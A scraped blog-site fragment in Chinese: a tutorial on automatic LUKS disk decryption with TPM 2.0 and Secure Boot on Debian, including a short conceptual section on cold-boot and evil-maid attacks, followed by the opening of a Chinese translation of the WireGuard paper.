Function，基于密码的密钥派生函数）是一种哈希函数，被用于将用户设置的便于记忆的密码转换为加密算法接受的固定长度密钥。\nkey=f(password,salt)\n加密算法一般接受长度为 256 或 512 位的密钥，而用户设置的密码复杂度一般在 10 个可见字符左右，包含的信息熵远低于加密算法所接受的密钥长度。如果使用一般的哈希函数（如 SHA-512），由于其计算速度较快，穷举密码的复杂度远远小于穷举密钥，将会降低整个加密系统的安全性。所以，为了抵抗穷举密码攻击，密钥派生函数往往被设计为单次计算需要消耗较多时间。于此同时，一些密钥派生函数会被设计为计算时需要占用较大的内存，来加大并行计算的难度。\n当密码的信息熵足够大时（如直接使用随机生成的 512 字节密钥文件作为密码），密码与派生后密钥的穷举空间相同，此时不需要使用密钥派生函数。但在 LUKS 中无法关闭密钥派生这一步骤，只能使用相关参数降低密钥派生的计算复杂度。\n为了实现包括根分区在内的全盘加密，常用的各个发行版均在 initrd 中加入了在引导过程中进行解密的支持。initrd 中的脚本会解析 /etc/crypttab 文件，加载其中的加密分区，用户可以设置解密时要求输入密码，或通过命令读取密码。本文将会实现在引导时使用储存在 TPM 中的密钥作为密码进行解密，并同时支持输入由用户设置的密码进行解密。\n实践 本文的实践部分基于 Debian 11，其他发行版可能需要修改一些命令和软件包名称。\n在进行系统外的离线操作时，推荐使用 Arch Linux 安装镜像，其中包含了大部分维护工具和 arch-chroot 命令。\n注意\n由于 Arch Linux 不使用 /usr/sbin 目录，所以该路径不会包含在 Arch Linux 安装镜像中的默认 $PATH 中。所以使用 chroot 进入一个 Debian / Ubuntu 根文件系统后，一些命令会找不到，此时需要将该路径手动添加到 $PATH 中：\n1 PATH=$PATH:/usr/sbin 如果目标文件系统是 ZFS，则需要安装 archiso-zfs。\n准备分区与加密 在一个加密的系统上，硬盘分区分为两部分：加密的部分和未加密的部分。加密的部分的分区是可信的，而未加密的部分分区是不可信的，需要在引导过程中被检验。我们可以将硬盘分为三个分区（按顺序）：EFI 引导分区，/boot 分区和需要加密的数据分区（下简称数据分区），并在加密数据分区上使用 LVM（Logical volume Manager，逻辑卷管理）来管理逻辑分区。当然，LVM 不是必须的，如果不需要对加密部分进行分区，可以直接将加密空间作为一个根分区来使用。如果原本没有 EFI 分区，说明是使用 CSM 引导，此时需要参考其他教程迁移到 EFI 引导。如果原本没有 /boot 分区，则需要调整分区后手动创建，将原本 /boot 内容移动进去，并加入到 /etc/fstab 中。\n注意\n一些教程会将 /boot 分区一并加密，这会使得配置过程更加繁琐。在我们的设置中，保持 /boot 未被加密并不会降低安全性，因为在调用 TPM 获取密钥进行自动解密时，TPM 会确保启动链未被篡改。而即使加密了 /boot，在启动链未被验证的系统上，恶意代码仍然能够被通过 EFI 注入。\n对于已安装的系统，我们需要将现有的数据分区备份，最简单的方式是使用 dd 命令复制块设备。注意 LUKS 加密会占用一部分空间用于存储元数据，所以备份原分区前需要先将其缩小，推荐的步骤是：\n将原分区的文件系统缩小 2 GiB（使用 pvresize、btrfs filesystem resize、resize2fs 等命令） 将原分区的分区删除，并在原位置重建，重建时大小缩小 1 GiB（使用 cfdisk 等管理工具） 将新分区的大小自动扩大到文件系统大小（使用第一步相同的命令，通常默认参数会自动扩大到文件系统大小） 这种方式可以避免计算和在命令中填写具体大小，同时留有一定的余量，方便调整/创建 EFI 和 /boot 分区。\n将原有的 EFI 和 /boot 中的数据备份（如果没有多系统引导则不需要备份 EFI 分区），并将缩小后的数据分区备份，之后对硬盘进行安全擦除，防止加密前的数据被恢复。擦除后重新建立分区表，推荐为 EFI 分配 128 MiB（如果不使用 EFISTUB），为 /boot 分配至少 1 GiB，剩余的空间作为加密数据分区。\n假设为加密数据准备的分区是 /dev/sda3，执行以下命令创建 LUKS 加密分区（注意输入大写的 YES）：\n1 2 3 4 5 6 7 8 9 cryptsetup luksFormat /dev/sda3 WARNING! ======== This will overwrite data on /dev/sda3 irrevocably. Are you sure? (Type \u0026#39;yes\u0026#39; in capital letters): YES Enter passphrase for /dev/sda3: Verify passphrase: 创建加密分区后，将加密分区打开。打开加密分区时需要指定一个名称。成功打开后，系统将在 /dev/mapper/ 下创建解密后的块设备，例如指定名称为 lvm-encrypted：\n1 2 cryptsetup open /dev/sda3 lvm-encrypted Enter passphrase for /dev/sda3: 提示\n为了提高加密后 SSD 的 I/O 性能，可以禁用工作队列，执行以下命令（选项将保存在 LUKS 元数据中）：\n1 cryptsetup --perf-no_read_workqueue --perf-no_write_workqueue --persistent refresh lvm-encrypted 将备份好的数据分区使用 dd 恢复到该块设备中：\n1 dd if=/path/to/backup/drive/bak.img of=/dev/mapper/lvm-encrypted status=progress bs=128M 此时，对于 LVM，可以使用 vgscan 命令识别原有的卷组，并使用 vgchange -ay \u0026lt;vgname\u0026gt; 激活。\n由于我们缩减文件系统时留下了较大的空闲空间，此时可以将文件系统大小调整到到 LUKS 创建的块设备的大小上限。同理使用 pvresize、btrfs filesystem resize、resize2fs 等命令即可完成。\n将根文件系统挂载。如果 /boot 分区是新创建的，需要从原有的根分区中将原有的文件移动过去。重新创建的 EFI 和 /boot 分区的 UUID 会与原有的不同，需要添加或者修改 /etc/fstab 中的条目。最简单的方式是将 /mnt/boot 和 /mnt/boot/efi 挂载后，使用 genfstab -U /mnt 命令生成（对于加密分区或者 LVM 分区，建议不使用 UUID，而是使用 /dev/mapper/\u0026lt;name\u0026gt; 挂载）。\n之后执行 arch-chroot /mnt，进入加密系统的根文件系统中执行。要使得加密后的系统能够正常引导，需要告知系统在 initrd 中打开加密分区。在根文件系统中创建 /etc/crypttab 文件：\n1 lvm-encrypted UUID=72fa928c-4df7-6448-ae04-11c909ff071e none luks,discard 文件的每一行共有四列，分别表示名称、块设备（请将 UUID 替换为加密分区的文件系统 UUID）、密钥文件（none 表示不使用固定的密钥解密）和选项。选项中的 discard 表示启用 SSD TRIM，启用后可能会导致一些测信道信息泄露，例如其中文件系统的类型和用量可能能够被从被丢弃块的特征中推算出来，但这通常不被认为是一个安全威胁。\nZFS 注意事项\n在构建 initrd 时，cryptsetup 的脚本会通过 /proc/mounts 中的信息判断当前系统的根目录属于哪一个加密块设备，进而将对应的 /etc/crypttab 条目放入 initrd 中，在引导时进行解密。但由于 ZFS 根目录不是通过块设备挂载的，所以 update-initramfs 会提示找不到根目录所对应的加密设备条目。\n此时需要手动在 /etc/crypttab 的对应条目中加入 initramfs 选项，将其指定为在引导时进行解密（即改为 luks,initramfs,discard）。\n如果 cryptsetup 命令不存在，则需要手动安装 cryptsetup 包，否则直接运行 update-initramfs -u -k all 重建 initrd 即可。\n如果原有的引导方式为 EFI GRUB，则此时重建 GRUB 后即可正常引导原有系统，系统会在开机时提示输入密码解密 LUKS 分区。接下来的步骤可以在 chroot 中完成，也可以在成功引导的系统中完成。\n配置 Secure Boot 首先，安装 shim-signed，sbsigntool 和 mokutil 包，前者包含带有 Microsoft 签名的 shim 二进制文件，后两者是用于签名和管理设备上的 MOK 证书。\n生成 MOK 证书 创建一个目录，为安全起见设为仅 root 可访问，使用 openssl 命令生成自签名 MOK 的证书与私钥（其中 CN= 之后的名字可以自定义）：\n1 2 3 4 5 6 7 mkdir -p /var/lib/shim-signed/mok/ chmod 700 /var/lib/shim-signed/mok/ cd /var/lib/shim-signed/mok/ openssl req -nodes -new -x509 -newkey rsa:2048 \\ -keyout MOK.key -outform DER -out MOK.der -days 36500 \\ -subj \u0026#34;/CN=My Secure Boot MOK/\u0026#34; openssl x509 -inform der -in MOK.der -out MOK.pem 上述命令生成了 DER 格式的证书，以及 PEM 格式的私钥和证书，因为 mokutil 需要 DER 格式，而 sbsign 需要 PEM 格式。\n使用 mokutil 请求将 MOK 证书导入到系统 PKI 中，这里需要设置一个一次性的密码，以便于 shim 在启动时能够验证证书是由可信的管理员所请求添加的（注意，只有在 shim 被加载时，MOK 与 MOK 安装请求才会生效）：\n1 2 3 mokutil --import MOK.der input password: input password again: 安装 shim 将 shim 安装到 EFI 分区中：\n1 2 3 rm -rf /boot/efi/EFI/BOOT \u0026amp;\u0026amp; mkdir -p /boot/efi/EFI/BOOT cp /usr/lib/shim/shimx64.efi.signed /boot/efi/EFI/BOOT/BOOTx64.EFI cp /usr/lib/shim/mmx64.efi.signed /boot/efi/EFI/BOOT/mmx64.efi 为 shim 创建 EFI 引导条目，并设为默认（假设 EFI 分区是 /dev/sda1）：\n1 efibootmgr --unicode --disk /dev/sda --part 1 --create --label \u0026#34;Shim\u0026#34; --loader /EFI/BOOT/BOOTx64.EFI 此时，开机时将首先加载 BOOTx64.EFI，该文件是 shim 的主程序，它会检测是否有 MOK 安装请求，如果是则会调用 MOK 管理界面 mmx64.efi 进行处理，否则会默认引导 grubx64.efi 程序。接下来我们需要安装 GRUB 到 grubx64.efi，来让 shim 能够找到它。\n签名并安装 GRUB 如果没有安装 GRUB（或未安装 EFI 版的 GRUB），需要先安装。Debian 下的包名为 grub-efi-amd64-bin。\n由于在 Secure Boot 开启时，GRUB 不允加载文件系统上的任何模块，所以所有需要的模块都要被打包进 grubx64.efi 中。Ubuntu 提供了一个列表，默认情况下，将列表中的模块全部加入即可（找不到的模块可以删除）。假设 GRUB 模块列表在 GRUB_MODULES 环境变量中。\n另一方面，shim 要求其加载的 EFI 程序具有 SBAT 段。GRUB 安装器可以在生成 EFI 程序时直接指定 SBAT 文件，创建 /tmp/sbat.csv 保存为以下内容：\n1 2 sbat,1,SBAT Version,sbat,1,https://github.com/rhboot/shim/blob/main/SBAT.md grub,1,Free Software Foundation,grub,2.04,https://www.gnu.org/software/grub/ 然后安装 GRUB 到目标位置（安装时不需要修改 EFI 设置）并使用 sbsign 对其进行签名：\n1 2 3 4 5 6 7 8 9 grub-install --efi-directory=/boot/efi/ \\ --sbat=/tmp/sbat.csv \\ --modules=\u0026#34;$GRUB_MODULES\u0026#34; \\ --no-nvram \\ --no-bootsector \\ --no-uefi-secure-boot \\ --bootloader-id=BOOT update-grub sbsign --key MOK.key --cert MOK.pem --output /boot/efi/EFI/BOOT/grubx64.efi /boot/efi/EFI/BOOT/grubx64.efi 签名内核 由于 GRUB 也会验证内核的签名，我们同样也需要对内核进行签名：\n1 for KERNEL in /boot/vmlinuz*; do sbsign --key MOK.key --cert MOK.pem --output \u0026#34;$KERNEL\u0026#34; \u0026#34;$KERNEL\u0026#34;; done 重启并开启 Secure Boot，此时 shim 应当会被加载，并出现 MOK 管理界面。安装 MOK 后再次启动，shim 会加载带有签名的 GRUB，并由 GRUB 加载带有签名的内核。\n内核模块签名\n对于开启了模块签名检验（CONFIG_MODULE_SIG）的内核，在开启 Secure Boot 的平台上引导时，仅允许加载带有有效签名的模块。内核在检验模块签名时，会同时信任内核编译时使用的证书和 UEFI 提供的可信证书（包含 MOK 证书）。所以，一般来说，随内核提供的模块不需要手动进行签名（由 CONFIG_MODULE_SIG_ALL 控制，编译内核时自动对模块签名）。对于手动编译的内核模块，常见的实践是使用 dkms 的 SIGN_TOOL 选项指定一个脚本来实现自动签名。\n在 CONFIG_MODULE_SIG 开启的前提下，Secure Boot 被关闭时，开启选项 CONFIG_MODULE_SIG_FORCE 或者内核参数 module.sig_enforce 也可以实现仅允许加载带有有效签名的模块的功能。\n配置 TPM 首先安装用于操作 TPM 2.0 的软件包 tpm2-tools 和 tpm2-initramfs-tool。\n使用 TPM 安全地生成一个 64 字节（512 位）的密钥，以十六进制形式保存（注意设为仅 root 可读写）：\n1 2 (tpm2_getrandom --hex 32; tpm2_getrandom --hex 32) \u0026gt; /luks-key chmod 600 /luks-key 将密钥添加到 LUKS 中（由于 512 位密钥包含的信息熵已经足够大，PBKDF 相关参数通过减少密钥派生函数的复杂度来提升性能）：\n1 2 3 4 cryptsetup luksAddKey /dev/sda3 /luks-key --pbkdf-force-iterations=4 \\ --pbkdf-parallel=1 \\ --pbkdf-memory=32 Enter any existing passphrase: 将 TPM 清除（只有第一次写入时需要先清除），并将密钥写入 TPM：\n1 2 tpm2_clear tpm2-initramfs-tool seal --data \u0026#34;$(cat /luks-key)\u0026#34; --pcrs 0,1,2,3,4,5,6,7,8,9 命令表示将密钥的文本数据写入到 TPM 中，以当前 PCR 0 - 9 的所有度量值进行认证。注意，tpm2-initramfs-tool 会默认将写入 TPM 的数据输出到标准输出，如果在脚本中运行，建议 \u0026gt; /dev/null 以防密钥泄露到日志中。\n执行完成后，即可使用 unseal 操作读取 TPM 中的值。在重启后，如果被选定的任一 PCR 的度量值与写入时的值不符，则读取将会失败。\n1 tpm2-initramfs-tool unseal --pcrs 0,1,2,3,4,5,6,7,8,9 自动解密 要使得开机时系统能够自动从 TPM 中获取密钥并解密，我们需要将 tpm2-initramfs-tool 放入 initrd 中，并编写解密脚本。\n/etc/crypttab 提供了 keyscript= 选项来支持通过脚本获取解密密钥：\n1 lvm-encrypted UUID=72fa928c-4df7-6448-ae04-11c909ff071e none luks,discard,keyscript=/etc/initramfs-tools/tpm2-cryptsetup 编写 /etc/initramfs-tools/tpm2-cryptsetup 脚本（并添加执行权限）：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/bin/sh unseal_tpm() { tpm2-initramfs-tool unseal --pcrs 0,1,2,3,4,5,6,7,8,9 } ask_password() { stty -echo echo -n \u0026#34;Please enter the passphrase for $CRYPTTAB_NAME ($CRYPTTAB_SOURCE): \u0026#34; \u0026gt;\u0026amp;2 read pass echo \u0026gt;\u0026amp;2 stty echo echo -n $pass } if KEY=\u0026#34;$(unseal_tpm)\u0026#34;; then echo -n \u0026#34;$KEY\u0026#34; else ask_password fi 该脚本会首先尝试从 TPM 中读取密钥，如果失败则会回退到提示用户手动输入密钥。根据 keyscript 的要求，密钥被输出到标准输出中。\n编写一个 initramfs Hook，如 /etc/initramfs-tools/hooks/tpm2-cryptsetup-setup，来将 tpm2-initramfs-tool 工具和加密脚本加入到 intiramfs 中：\n1 2 3 4 . /usr/share/initramfs-tools/hook-functions copy_exec /usr/lib/x86_64-linux-gnu/libtss2-tcti-device.so.0 copy_exec /usr/bin/tpm2-initramfs-tool 最后执行 update-initramfs -u -k all 来重建 initrd，成功后重启，应该会先看到从 TPM 读取密钥的错误信息，再看到输入密码的提示，这是由于 initrd 改变使得 GRUB 写入的 PCR 9 的度量值改变，导致 TPM 拒绝输出密钥。进入系统后重新执行上述 tpm2-initramfs-tool seal 命令，再次重启后即可自动解密。\n系统更新 当内核更新时，我们需要对新安装的内核进行签名。而对于 initrd，由于它的哈希值是 TPM 测量值的一部分，所以更新 initrd 一定会使 TPM 解锁失败。对于可以直接控制的设备，可以通过输入密码解决，而对于没有显示的服务器设备，我们可以暂时生成一个新的密钥，添加到 LUKS 中，并明文存储在硬盘上，在确保安全的情况下重启计算机，使计算机通过临时密钥解密。再次进入系统后，TPM 的测量值成为新值，此时将临时密钥从 LUKS 删除，并将原有的密钥再次存入 TPM 即可。这种方式与 BitLocker 的解决方案类似。\n注意\n当临时密钥存在时，请务必确保计算机重启过程是安全的。此时攻击者可以轻易获得明文密钥进行解密。对于开启 BitLocker 的 Windows 系统的系统更新也是如此。\n工具脚本 我编写了一个用于自动化处理 TPM 2 解密设置的脚本 tpm2-luks-helper，具有以下功能：\n在更新内核时自动进行签名（通过 initramfs 的 post-update 来实现） 在更新 GRUB 时自动重新签名并安装 GRUB 到 EFI 分区（通过 APT Hook 来实现） 使用临时密钥来在更新系统后 TPM 不可用时自动解密，并通过检查内核参数 / initrd / GRUB EFI 是否变化来提示是否需要开启临时密钥（称之为 trusted-boot） 将仓库下载到 /opt/tpm2-luks-helper（在 config.sh 中更改配置）并安装脚本主程序和 systemd 服务：\n1 2 3 4 5 git clone https://github.com/Menci/tpm2-luks-helper /opt/tpm2-luks-helper vim /opt/tpm2-luks-helper/config.sh # 修改配置 ln -sf /opt/tpm2-luks-helper/script.sh /usr/local/bin/tpm2-luks-helper ln -sf /opt/tpm2-luks-helper/tpm2-luks-helper-on-boot.service /etc/systemd/system/ systemctl enable --now tpm2-luks-helper-on-boot 该 systemd 服务会在开机时记录内核参数以及 initrd 和 GRUB EFI 的哈希值，用于判断是否需要使用临时密钥，并自动删除使用后的临时密钥。\n安装 initramfs post-update 脚本，来实现自动对新内核进行签名：\n1 ln -sf /opt/tpm2-luks-helper/initramfs/post-update-sign-kernels /etc/initramfs/post-update.d/ 将 /etc/crypttab 中的 keyscript 改为仓库中的脚本，并添加 initramfs Hook（注意，仓库中的脚本增加了 trusted-boot 使用临时密钥解密的功能，与上述脚本不同）：\n1 2 3 vim /etc/crypttab # 改为 keyscript=/opt/tpm2-luks-helper/initramfs/tpm2-cryptsetup ln -sf /opt/tpm2-luks-helper/initramfs/tpm2-cryptsetup-setup /etc/initramfs-tools/hooks/ update-initramfs -u -k all 安装 APT Hook，在 GRUB 更新时自动重新安装 GRUB：\n1 2 ln -sf /opt/tpm2-luks-helper/grub/99update-and-sign-grub /etc/apt/apt.conf.d/ # 执行 apt install --reinstall grub-efi-amd64-bin 来确认 修改 .bashrc，在执行重启 / 关机命令时检查下次启动是否可以正常解密：\n1 2 alias reboot=\u0026#34;tpm2-luks-helper check-next-boot \u0026amp;\u0026amp; reboot\u0026#34; alias shutdown=\u0026#34;tpm2-luks-helper check-next-boot \u0026amp;\u0026amp; shutdown\u0026#34; 如果检查到不满足自动解密的条件，脚本会提示：\n1 2 3 4 5 reboot Check failed: initramfs changed - Current: \u0026#34;/boot//initrd.img-5.15.30-2-pve:a47803f6bbe1430a3d6fb50f75002c8c\u0026#34; - Next boot: \u0026#34;/boot//initrd.img-5.15.30-2-pve:06cae583f012d98371d34f3fd379e161\u0026#34; Please run \u0026#34;tpm2-luks-helper trust-next-boot\u0026#34; and do a *attended* reboot. 此时运行 tpm2-luks-helper trust-next-boot 生成临时密钥，在下次引导时脚本将会自动从临时密钥解密。成功启动后临时密钥将被自动删除，之后继续使用 TPM 中的密钥解密。\n攻击面 一般来说，存储在 TPM 中的密钥足够安全，难以被攻击者直接获得，而 Secure Boot 和 TPM 测量的存在也使得密钥在引导过程被篡改时无法获得密钥。但在常见的设备上，仍然有一些方式可以攻击使用 TPM 的硬盘加密。\n冷启动攻击 用于加解密磁盘数据的密钥往往被存储在内存中。在通常条件下，DRAM 内存中的数据会在断电后迅速消失，而在低温条件下，DRAM 内存中的数据可以保持很久。攻击者可以启动计算机，等待系统从 TPM 中读取密钥并解密，然后使用制冷剂对内存冷冻，并从外部设备引导计算机，或将冷冻的内存移动到另一台计算机上，进入特制的操作系统读取数据。\n一些现代 CPU 具有内存加密功能，可以在 CPU 读写内存时透明地对 DRAM 中的数据进行加解密，以抵御冷启动攻击。在纯软件的层面上，可以通过将密钥保持在 CPU 寄存器中而不写入内存的方式来阻止攻击者从内存中取得密钥，但内存中的其他敏感信息仍然能够被取得。\nEvil Maid 攻击 在攻击者能够在计算机拥有者者不知情时物理接触到计算机的情况下，攻击者可以对计算机进行一些修改，制作一个假的输入密码界面，欺骗拥有者 TPM 解密失败，从而诱惑拥有者输入密码解密。对于纯软件层面的修改，拥有者可以通过检查 BIOS 设置、检查 Secure Boot 证书、检查未加密部分文件来识别这种攻击行为。对于硬件层面上的修改，拥有者无法检查，但一些安全设备可以通过物理熔断的方式来检测其是否被拆卸，从来识别这种攻击。\n参考资料 StackExchange: Migrating from unencrypted Ubuntu 16.04 to LUKS Encrypted install of 16.04（存档） Philippe Daouadi: The ultimate guide to Full Disk Encryption with TPM and Secure Boot（存档） Debian Wiki: SecureBoot（存档） ArchWiki: Unified Extensible Firmware Interface/Secure Boot（存档） ArchWiki: Trusted Platform Module（存档） ArchWiki: dm-crypt/Specialties（存档） ","permalink":"https://www.clearsec.org/posts/tech/%E5%9F%BA%E4%BA%8E-tpm-2.0-%E4%B8%8E-secure-boot-%E7%9A%84-luks-%E8%87%AA%E5%8A%A8%E8%A7%A3%E5%AF%86/","summary":"\u003cp\u003e为了保护用户数据，现代设备与操作系统往往都支持全盘加密的功能，其中最为典型的是 Microsoft Windows 的 BitLocker。它既可以对系统分区进行加密，又可以在确认引导过程可信的情况下，不需要用户交互即可自动解密，这利用到了 TPM 和 Secure Boot。而在 GNU/Linux 系统下，如果用常用的 LUKS 加密方案进行全盘加密，则需要在每次开机时输入密码。\u003c/p\u003e","title":"基于 TPM 2.0 与 Secure Boot 的 LUKS 自动解密"},{"content":"","permalink":"https://www.clearsec.org/links/","summary":"","title":"🤝友链"},{"content":"WireGuard:下一代内核网络隧道 摘要： WireGuard是一个安全的网络隧道，在第3层运行，作为Linux的内核虚拟网络接口实现，其目标是在大多数情况下取代IPsec，以及流行的用户空间和/或基于tls的解决方案，如OpenVPN，同时更安全、性能更高且更易于使用。虚拟隧道接口基于安全隧道的基本原则:对等公钥和隧道源IP地址之间的关联。它使用基于NoiseIK的单次往返密钥交换，并使用新的计时器状态机机制对用户透明地处理所有会话创建。短的预共享静态密钥（Curve25519点）用于OpenSSH风格的相互认证。该协议除了提供高度的身份隐藏之外，还提供了强大的完美前向保密性。使用ChaCha20Poly1305身份验证加密将数据包封装在UDP中可以实现传输速度。 IP绑定cookie的改进形式用于缓解拒绝服务攻击，从而大大改进了IKEv2和DTLS的cookie机制以添加加密和身份验证。总体设计不允许为接收到的数据包分配任何资源，并且从系统的角度来看，有多种有趣的Linux实现技术用于队列和并行性。最后，WireGuard可以轻松地用不到4,000行代码在Linux上实现，从而易于审核和验证。\nWireGuard的优势：\n更轻便：以Linux内核模块的形式运行，资源占用小。 更高效：相比目前主流的IPSec、OpenVPN等协议，WireGuard的效率要更高。 更快速：比目前主流的VPN协议，连接速度要更快。 更安全：使用了更先进的加密技术。 更易搭建：部署难度相对更低。 更隐蔽：以UDP协议进行数据传输，比TCP协议更低调。 不易被封锁：TCP阻断对WireGuard无效，IP被墙的情况下仍然可用。 更省电：不使用时不进行数据传输，移动端更省电。 简介与动机 在Linux中，加密隧道的标准解决方案是IPsec，它使用Linux转换(“xfrm”)层。用户填充一个内核结构，以确定哪个密码套件和密钥，或其他转换(如压缩)用于遍历子系统的哪个选择器。通常，用户空间守护进程负责根据密钥交换的结果更新这些数据结构，通常使用IKEv2来完成，而IKEv2本身是一个复杂的协议，具有很多选择和可扩展性。这种解决方案的复杂性以及代码的数量是相当可观的。管理员有一套完全独立的防火墙语义和IPsec包的安全标签。从语义的观点来看，将密钥交换层与传输加密或转换层分开是明智的选择，并且从网络的角度来看，相似的是将转换层与接口层分开是正确的，但是这种严格正确的分层方法增加了复杂性，难以正确实施和部署。\nWireGuard消除了这些分层分隔。WireGuard没有提供复杂的IPsec和xfrm层，而是提供了一个虚拟接口(例如wg0)，然后可以使用标准的ip和ifconfig实用程序对其进行管理。在使用私钥(以及可选的预共享对称密钥和它将安全通信的对等点的各种公钥配置接口之后，隧道就简单地工作了。密钥交换、连接、断开、重连接、发现等在幕后透明而可靠地发生，管理员不需要担心这些细节。换句话说，从管理的角度来看，WireGuard接口似乎是无状态的。然后可以使用普通的基础结构为防火墙接口配置防火墙规则，并确保对来自WireGuard接口的数据包进行身份验证和加密。与IPsec相比，WireGuard简单明了，不容易发生灾难性故障和配置错误。需要强调的是，IPsec的分层是正确无误的。使用IPsec，一切都在正确的地方，以达到学术上的完美。但是，正如抽象的正确性经常发生的那样，它严重缺乏可用性，并且很难实现可验证的安全实现。相反，WireGuard从有缺陷的分层违规开始，然后试图纠正这种合并产生的问题，使用实用的工程解决方案和解决现实世界问题的密码技术。\n另一个极端是OpenVPN，它是一种基于用户空间TUN/TAP的解决方案，使用TLS。由于它位于用户空间，它的性能非常差——因为包必须在内核空间和用户空间之间复制多次——而且需要一个长期存在的守护进程;对于管理员来说，OpenVPN并不是无状态的。虽然TUN/TAP接口(比如tun0)具有上述类似于wg0的优点，但OpenVPN也非常复杂，它支持大量的TLS功能，这将相当一部分代码暴露给了潜在的漏洞。OpenVPN可以在用户空间中实现，因为内核中的ASN.1和x509解析器历来都有很大的问题(CVE-2008-1673、CVE-2016-2053)，而添加一个TLS堆栈只会使问题变得更糟。TLS还带来了一个巨大的状态机，以及源IP地址和公钥之间不太清晰的关联。\n对于密钥分发，WireGuard从OpenSSH汲取灵感，其常见用法包括一种非常简单的密钥管理方法。通过一组不同的带外机制，两个对等点通常交换其静态公钥。有时，它很简单，就像PGP签名的电子邮件一样，而有时，它是使用LDAP和证书颁发机构的复杂密钥分发机制。重要的是，大多数情况下，OpenSSH密钥分发完全不可知。 WireGuard也效仿。两个WireGuard对等方通过某种未指定的机制交换其公钥，之后便可以进行通信。换句话说，WireGuard对待密钥分发的态度是，这是解决特定问题的错误层，因此界面足够简单，因此可以与任何密钥分发解决方案一起使用。另外一个优点是，公钥只有32个字节长，并且可以轻松地用44个字符的Base64编码表示，这对于通过各种不同的介质传输密钥非常有用。\n最后，WireGuard具有密码学依据。 它故意缺乏密码和协议敏捷性。如果在基础原语中发现漏洞，则需要更新所有端点。正如不断涌现的SSL/TLS漏洞所显示的，密码的敏捷性极大地增加了复杂性。 WireGuard使用Trevor Perrin的Noise的变体（在其开发过程中收到了来自本文作者的大量输入，目的是为了在WireGuard中使用）与Curve25519进行1-RTT密钥交换[5]。 对于ECDH，HKDF [15]用于扩展ECDH结果，RFC7539 [17]的ChaCha20 [3]和Poly1305 [8]的结构用于认证加密，而BLAKE2s [2]的哈希处理。 它使用新的crypto-cookie机制来实现IP地址可归属性，从而内置了防止拒绝服务攻击的保护功能。\n同样，WireGuard仅适用于第3层。这是确保数据包真实性和可归属性的最干净的方法。 作者认为，layer 3是桥接多个IP网络的正确方法，将其应用到WireGuard上可以实现许多简化，从而产生一个更清晰、更容易实现的协议。它支持IPv4和IPv6的第3层，可以封装v4-in-v6和v6-in-v4\nWireGuard将这些原则组合在一起，专注于简单性和可审核的代码库，同时仍然保持极高的速度，并适合于少数环境。 通过将密钥交换和第3层传输加密组合为一种机制，并使用虚拟接口而不是转换层，WireGuard确实打破了传统的分层原则，从而寻求了一种既实用又安全的可靠工程解决方案。 一路走来，它采用了几种新颖的密码和系统解决方案来实现其目标。\n密钥路由Cryptokey Routing 安全VPN的基本原理是对等节点(peer)之间的关联，每个节点的IP地址都允许用作源IP。在WireGuard中，对等点(peer)严格由它们的公钥(32字节Curve25519点)识别。这意味着在公钥和一组允许的IP地址之间存在一个简单的关联映射。检查下面的密钥路由表:\nConfiguration 1a\nInterface Public Key Interface Private Key Listening UDP Port HIgo…8ykw yAnz…fBmk 41414 Peer Public Key Allowed Source IPs xTIB…p8Dg 10.192.122.3/32, 10.192.124.0/24 TrMv…WXX0 10.192.122.4/32, 192.168.0.0/16 gN65…z6EA 10.10.10.230/32 接口本身有一个私有密钥和一个UDP端口，它在上面侦听，后面是对等点列表。每个对等点(peer)由其公钥标识。每个ip都有一个允许源ip的列表。\n当外发包在WireGuard接口wg0上传输时，要参考此表来确定使用哪个公钥进行加密。例如，目的地IP为10.192.122.4的数据包将使用来自公钥TrMv…WXX0的安全会话进行加密。相反，当wg0收到一个加密的包时，在对它进行解密和认证之后，只有当它的源IP在表中解析为安全会话中用于解密它的公钥时，它才会接受它。例如，如果一个包解密从xTIB…qp8D，只有在解密包的源IP为10.192.122.3或在10.192.124.0到10.192.124.255之间才允许解密;否则它将被丢弃（dropped）。\n有了这个非常简单的原则，管理员可以依赖于简单的防火墙规则。例如，在接口wg0上的一个源IP为10.10.10.230的数据包可以被认为是来自具有gN65…Bz6E公钥的对等方。更一般的情况是，到达WireGuard接口的任何数据包都将具有可靠的可信源IP(当然，这是为了保证传输的完美前向保密)。请注意，这是唯一可能的，因为WireGuard是严格基于第3层。与一些常见的VPN协议(如L2TP/IPsec)不同，在第3层使用经过身份验证的对等点标识可以实现更明确的网络设计。\n如果一个WireGuard对等点希望路由所有流量通过另一个WireGuard对等点，则密钥路由表可以更简单地配置为：\nConfiguration 2a\nInterface Public Key Interface Private Key Listening UDP Port gN65…z6EA gI6E…fWGE 21841 Peer Public Key HIgo…8ykw Allowed Source IPs 0.0.0.0/0 在这里，对等体授权HIgo…f8yk将包与任何源IP放到wg0上，wg0上发出的所有包将使用与该公钥关联的安全会话进行加密并发送到该对等点的端点（peer’s endpoint.）。\n端点和漫游（Endpoints \u0026amp; Roaming） 当然，对等点能够在特定的互联网端点向彼此发送加密的WireGuard UDP数据包是很重要的。密钥路由表中的每个对等点可以选择性地预先指定该对等点端点的已知外部IP地址和UDP端口。它是可选的原因是，如果它没有被指定并且WireGuard从一个对等点接收到一个正确的经过身份验证的包，它将使用外部源IP地址来确定端点。\n由于公钥唯一地标识一个对等点，加密的WireGuard包的外部源IP被用来标识对等点的远程端点，使对等点能够在不同的外部IP(例如在移动网络之间)之间自由漫游，类似于Mosh[25]所允许的内容。例如，可以扩充之前的加密密钥路由表，使其具有一个对等点的初始端点:\nConfiguration 2b\nInterface Public Key Interface Private Key Listening UDP Port gN65…z6EA gI6E…fWGE 21841 Peer Public Key Allowed Source IPs Internet Endpoint HIgo…8ykw 0.0.0.0/0 192.95.5.69:41414 然后，这个主机，gN65…z6EA，发送加密包HIgo…f8yk给192.95.5.69:41414。后HIgo……f8yk收到一个包，它更新它的表，以学习发送应答包的端点，例如，192.95.5.64:21841:\nConfiguration 1b\nInterface Public Key Interface Private Key Listening UDP Port HIgo…8ykw yAnz…fBmk 41414 Peer Public Key Allowed Source IPs Internet Endpoint xTIB…p8Dg 10.192.122.3/32, 10.192.124.0/24 TrMv…WXX0 10.192.122.4/32, 192.168.0.0/16 gN65…z6EA 10.10.10.230/32 192.95.5.64:21841 请注意，对等方的侦听端口和发送的数据包的源端口始终相同，从而大大简化了操作，同时还确保了在NAT之后的可靠遍历。 而且，由于此漫游属性确保对等方将拥有最新的外部源IP和UDP端口，因此NAT无需使会话长时间保持打开状态。 